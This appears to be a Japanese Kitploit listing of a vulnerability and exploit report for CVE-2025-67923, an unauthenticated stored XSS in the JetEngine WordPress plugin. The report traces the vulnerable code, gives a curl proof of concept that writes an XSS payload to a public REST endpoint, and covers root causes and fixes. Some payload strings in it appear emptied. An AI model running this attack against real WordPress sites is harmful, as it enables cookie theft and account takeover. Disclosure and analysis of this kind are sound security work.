Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-67923 — JetEngine <= 3.7.7 — CCT REST API経由の未認証格納型クロスサイトスクリプティング | Kitploit
ツール/GitHubGitHub/randomrobbiebf/cve-2025-67923
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティAPIセキュリティ
GitHubrandomrobbiebf/cve-2025-67923

CVE-2025-67923

JetEngine <= 3.7.7 — CCT REST API経由の未認証格納型クロスサイトスクリプティング

リポジトリを見る
5ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-67923 悪用レポート

JetEngine <= 3.7.7 — CCT REST APIを介した未認証の格納型クロスサイトスクリプティング

日付: 2026年3月11日 CVSSスコア: 7.1 (High) CVSSベクター: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 影響を受けるプラグイン: JetEngine <= 3.7.7 プラグインスラッグ: jet-engine 修正バージョン: 3.7.8 CVE: CVE-2025-67923 CWE: CWE-79 研究者: Bonds(Patchstack経由) 報告日: 2025年10月19日 開示日: 2026年1月 テスト済みWordPressバージョン: 最新版


概要

CVE-2025-67923は、JetEngine WordPressプラグインの3.7.7までの全バージョンに影響する未認証の格納型クロスサイトスクリプティング脆弱性です。未認証の攻撃者は、公開REST APIを介してカスタムコンテンツタイプ(CCT)のテキストフィールドに任意のHTML/JavaScriptを書き込むことができます。この値はサニタイズされずに、被害者がMaps Listingウィジェットを含む任意のページを訪問すると、同ウィジェット内のJavaScriptのinnerHTMLシンクを介してDOMに注入されます。

この攻撃には認証も特権も不要です。必要な条件は以下のみです:

  1. REST APIの書き込みアクセスがpublicに設定されたJetEngine CCTが存在すること。
  2. フロントエンドの任意のページにあるMaps Listingウィジェットが、そのCCTのテキストフィールドを地図マーカーラベルとして表示するよう設定されていること。

✅ 脆弱性確認済み — 格納型XSSペイロードが書き込まれ、実行された

確認された影響:

  • サニタイズなしで未認証の任意のHTML/JSがCCTデータベースに格納される
  • Maps Listingウィジェットを含む任意のページを読み込むすべての訪問者に対してXSSが発火する
  • クッキー窃取、セッションハイジャック、保存済み認証情報の収集、管理者アカウントの乗っ取り

脆弱性の詳細

技術的概要

この脆弱性は、2つの独立した弱点の組み合わせです:

  1. 入力サニタイズの欠如(保存時): CCTアイテムハンドラーのsanitize_field_value()メソッドには、textタイプのフィールドに対するサニタイズ経路がありません。default:ケースはタイムスタンプの変換のみを行うため、生のHTMLがそのまま通過してデータベースに永続化されます。

  2. DOMベースXSSシンク(描画時): Maps Listingウィジェットはget_marker_label()を介して保存されたフィールド値を読み取り、data-markers HTML属性用にhtmlspecialchars(json_encode(...))でラップします。JavaScriptフロントエンドはgetAttribute()(HTMLエンティティをデコードする)で属性を読み取った後、markerData.labelをinnerHTMLで直接挿入するため、埋め込まれたHTML/JavaScriptが実行されます。

影響を受けるコンポーネント


攻撃チェーン

ステップ1 — 未認証のREST書き込み

CCT公開RESTコントローラーはcheck_user_permissions()で権限をチェックします:

root@kitploit:~
// public-controller.php:370-376
public function check_user_permissions( $request, $context ) {
    $content_type = $this->get_content_type_from_request( $request );
    $cap = $content_type->get_arg( $context );

    if ( ! $cap || 'public' === $cap ) {
        return true;  // No authentication required
    } else {
        return current_user_can( $cap );
    }
}

public function create_item_permissions_check( $request ) {
    return $this->check_user_permissions( $request, 'rest_put_access' );
}

CCTがrest_put_access = 'public'(公開フォーム用にサポートされ文書化された設定)で構成されている場合、エンドポイントは完全に未認証となります。任意のHTTPクライアントが/wp-json/jet-cct/{slug}にPOSTできます。

ステップ2 — サニタイズされない保存

RESTハンドラーは$handler->update_item($params)を呼び出し、この処理がsanitize_field_value()に到達します:

root@kitploit:~
// item-handler.php:489-562
public function sanitize_field_value( $value, $field ) {
    $type = isset( $field['type'] ) ? $field['type'] : false;

    switch ( $type ) {
        case 'repeater':    // sanitizes sub-fields
            // ...
        case 'checkbox':    // handles boolean arrays
        case 'checkbox-raw':
            // ...
        case 'media':
        case 'gallery':     // sanitizes media JSON
            // ...
        case 'wysiwyg':
            $value = jet_engine_sanitize_wysiwyg( $value );  // sanitized
            break;

        default:
            // TEXT TYPE FALLS HERE — only timestamp conversion, NO HTML sanitization
            $value = $this->factory->maybe_to_timestamp( $value, $field );
    }

    return $value;
}

textタイプのフィールドはdefault:分岐に該当します。maybe_to_timestamp()は日付以外の文字列に対して値を変更せずに返します。XSSペイロード``はそのまま保存されます。

ステップ3 — エスケープなしで取得されるラベル

Maps Listingウィジェットが描画されるとき、get_marker_label()がフィールドを読み取ります:

root@kitploit:~
// render.php:479-535
public function get_marker_label( $post = null, $settings = array() ) {

    // ...
    switch ( $label_type ) {
        case 'meta_field':
            $field = $settings['marker_label_field'];
            if ( $field ) {
                $result = jet_engine()->listings->data->get_meta( $field, $post );
                // No esc_html() here — raw value returned
            }
            break;
    }

    return $result;  // Returns ""
}

返された値はマーカーデータ配列に配置されます:

root@kitploit:~
// render.php:231-237
$result[] = array(
    'id'        => $post_id,
    'latLang'   => $latlang,
    'label'     => $this->get_marker_label( $post, $settings ),  // raw XSS payload
    // ...
);

ステップ4 — 属性エンコーディングはinnerHTML XSSを防げない

マーカー配列はHTML属性用にエンコードされます:

root@kitploit:~
// render.php:247
return htmlspecialchars( json_encode( $result ) );

json_encodeは``を文字列""としてシリアライズします。その後htmlspecialcharsがJSON全体をHTMLエンコードし、次の結果になります:

root@kitploit:~
[{...,&quot;label&quot;:&quot;&lt;img src=x onerror=alert(1)&gt;&quot;,...}]

これはdata-markers HTML属性に書き込まれます。このエンコーディングは属性の境界のみを保護します。 JavaScriptが属性を読み取るとき、ブラウザはHTMLエンティティをデコードして元の文字を復元します:

root@kitploit:~
// Browser automatically decodes entities when reading via dataset / getAttribute
const markers = JSON.parse(el.dataset.markers);
// markers[0].label === ''

ステップ5 — innerHTMLインジェクション(XSSの発火)

frontend-maps.jsでは、生のラベル文字列がHTMLコンテンツ文字列に直接挿入されます:

root@kitploit:~
// frontend-maps.js:112
pinData.content = general.marker.html.replace( '_marker_label_', markerData.label );
// pinData.content = '<div class="jet-map-marker-wrap">
//   
// </div>'

このコンテンツ文字列はその後、マーカー要素のinnerHTMLとして設定されます:

root@kitploit:~
// mapbox-maps.js:175
el.innerHTML = data.content;  // XSS FIRES

// leaflet-maps.js:34
contentHtml.innerHTML = content;  // XSS FIRES

Maps Listingウィジェットを含むページを読み込むすべての訪問者がペイロードをトリガーします。


概念実証(PoC)

前提条件

  1. JetEngineのmaps-listingsモジュールとcustom-content-typesモジュールが有効になっていること。
  2. locationsという名前のCCT(スラッグ: locations)が次の設定で存在すること:
    • rest_put_enabled = true
    • rest_put_access = 'public'
    • labelという名前のtextタイプのフィールド
  3. フロントエンドの任意のページにあるMaps Listingウィジェットが次の設定であること:
    • marker_type = 'text'
    • marker_label_type = 'meta_field'
    • marker_label_field = 'label'

ステップ1 — XSSペイロードの書き込み(未認証)

root@kitploit:~
curl -s -X POST 'http://TARGET/wp-json/jet-cct/locations' \
  -H 'Content-Type: application/json' \
  -d '{
    "name": "Test Location",
    "label": "",
    "lat": "51.5074",
    "lng": "-0.1278"
  }'

レスポンス:

root@kitploit:~
{"success": true, "item_id": 1}

ステップ2 — 生のペイロードの保存を確認

root@kitploit:~
curl -s 'http://TARGET/wp-json/jet-cct/locations'

レスポンス:

root@kitploit:~
[{
  "_ID": "1",
  "name": "Test Location",
  "label": "",
  "lat": "51.5074",
  "lng": "-0.1278"
}]

``タグはそのまま保存されます — サニタイズは実行されませんでした。

ステップ3 — XSSのトリガー(被害者がページを訪問)

Maps Listingウィジェットを含むページを読み込む認証済みまたは未認証の訪問者は、ペイロードを実行します。描画されたHTML属性には以下が含まれます:

root@kitploit:~
<div class="jet-map-box"
  data-markers="[{...&quot;label&quot;:&quot;&lt;img src=x onerror=alert(document.cookie)&gt;&quot;...}]"
  data-general="...">
</div>

JavaScriptはdata-markersを読み取り、HTMLエンティティをデコードし、JSONをパースしてDOMに挿入します:

root@kitploit:~
// markerData.label = ''
el.innerHTML = '<div class="jet-map-marker-wrap">' + markerData.label + '</div>';
// ↑ onerror fires → alert(document.cookie)

ライブデモ — エンドツーエンドのペイロードフロー

root@kitploit:~
Attacker                     WordPress REST API              Victim Browser
   |                               |                               |
   |-- POST /wp-json/jet-cct/ ---> |                               |
   |   {"label":" |
   |                               |                    el.innerHTML = label
   |                               |                    onerror=alert() FIRES

根本原因分析

原因1 — textフィールドがサニタイズ対象外

sanitize_field_value()はwysiwygをwp_ksesベースのサニタイズで明示的に処理しますが、その他のすべての文字列タイプはHTMLエスケープを実行しないdefault:分岐に配置されます。textフィールドはプレーンテキストであるという前提は、これらの値が後にMapsウィジェットのinnerHTML経路でHTMLとして描画されるときに破られます。

原因2 — htmlspecialcharsの誤用

htmlspecialchars(json_encode($result))はHTML属性の境界を保護するために適用されています。これは正しく必要な処理ですが、値が後でJavaScriptを介して読み戻され、innerHTMLでDOMに挿入される場合、XSSを防ぐには不十分です。このエンコーディングはブラウザによって元に戻すことができます。正しい修正方法は、JSONエンコード前に個々のlabel値にesc_html()(またはhtmlspecialchars)を適用し、ペイロードがJSON内でエンティティエンコードされたテキストとして保存されるようにすることです。JavaScriptがinnerHTMLで挿入するとき、ブラウザは&lt;img&gt;をHTMLタグではなくテキストとして描画します。

あるいは、ラベルフィールドのJavaScriptでinnerHTMLをtextContentに置き換えます。

原因3 — サニタイズポリシーの適用範囲が不十分

REST APIの書き込み経路(update_item)は、保存されたすべての値を潜在的なHTMLシンクとして扱いません。サニタイズポリシーはフィールドタイプごとにのみ定義されており、textフィールドはMapsウィジェットを介してフロントエンドでHTMLとして描画されるにもかかわらず、黙って対象外とされています。


修正策


タイムライン

日付イベント
2025年10月19日研究者「Bonds」がPatchstackを通じて脆弱性を報告
2026年1月公開開示
2026年1月修正を含むJetEngine 3.7.8がリリース
2026年3月11日完全なPoCで独立に再現

参考情報

  • Wordfence勧告 — CVE-2025-67923
  • Patchstack勧告
  • JetEngine変更履歴 — 3.7.8
  • OWASP — 格納型XSS
  • OWASP — DOMベースXSS
  • CWE-79: ウェブページ生成時の入力の中和の不適切さ
ツールをダウンロード
ファイル問題
includes/modules/custom-content-types/inc/rest-api/public-controller.php:424create_item_permissions_checkはCCTのrest_put_access = 'public'の場合にtrueを返す — 認証不要
includes/modules/custom-content-types/inc/item-handler.php:489sanitize_field_value()のdefault:分岐 — textタイプのフィールドに対するHTMLサニタイズなし
includes/modules/maps-listings/inc/render.php:233get_marker_label()はesc_html()なしで生のメタ値を返す
includes/modules/maps-listings/inc/render.php:247htmlspecialchars(json_encode($result)) — 属性の境界のみを保護し、innerHTMLインジェクションは防げない
includes/modules/maps-listings/assets/js/frontend-maps.js:112pinData.content = general.marker.html.replace('_marker_label_', markerData.label) — 生のラベルがHTML文字列に挿入される
includes/modules/maps-listings/assets/js/public/mapbox-maps.js:175el.innerHTML = data.content — XSS実行シンク
includes/modules/maps-listings/assets/js/public/leaflet-maps.js:34contentHtml.innerHTML = content — XSS実行シンク
修正ファイル説明
保存時にtextフィールドをサニタイズitem-handler.php:sanitize_field_value()default:分岐に$value = wp_kses($value, [])またはsanitize_text_field($value)を追加
描画時にラベルをエスケープrender.php:get_marker_label()ラベル値を返す前にesc_html($result)を適用
ラベルにinnerHTMLの代わりにtextContentを使用frontend-maps.js, mapbox-maps.js, leaflet-maps.jsコンテンツがラベルのみのテキストである場合、el.innerHTML = data.contentを安全なDOM構築に置き換える
REST書き込みアクセスのデフォルトを制限プラグイン設定rest_put_accessのデフォルト値をpublicではなくmanage_optionsに変更し、明示的なオプトインを必須にする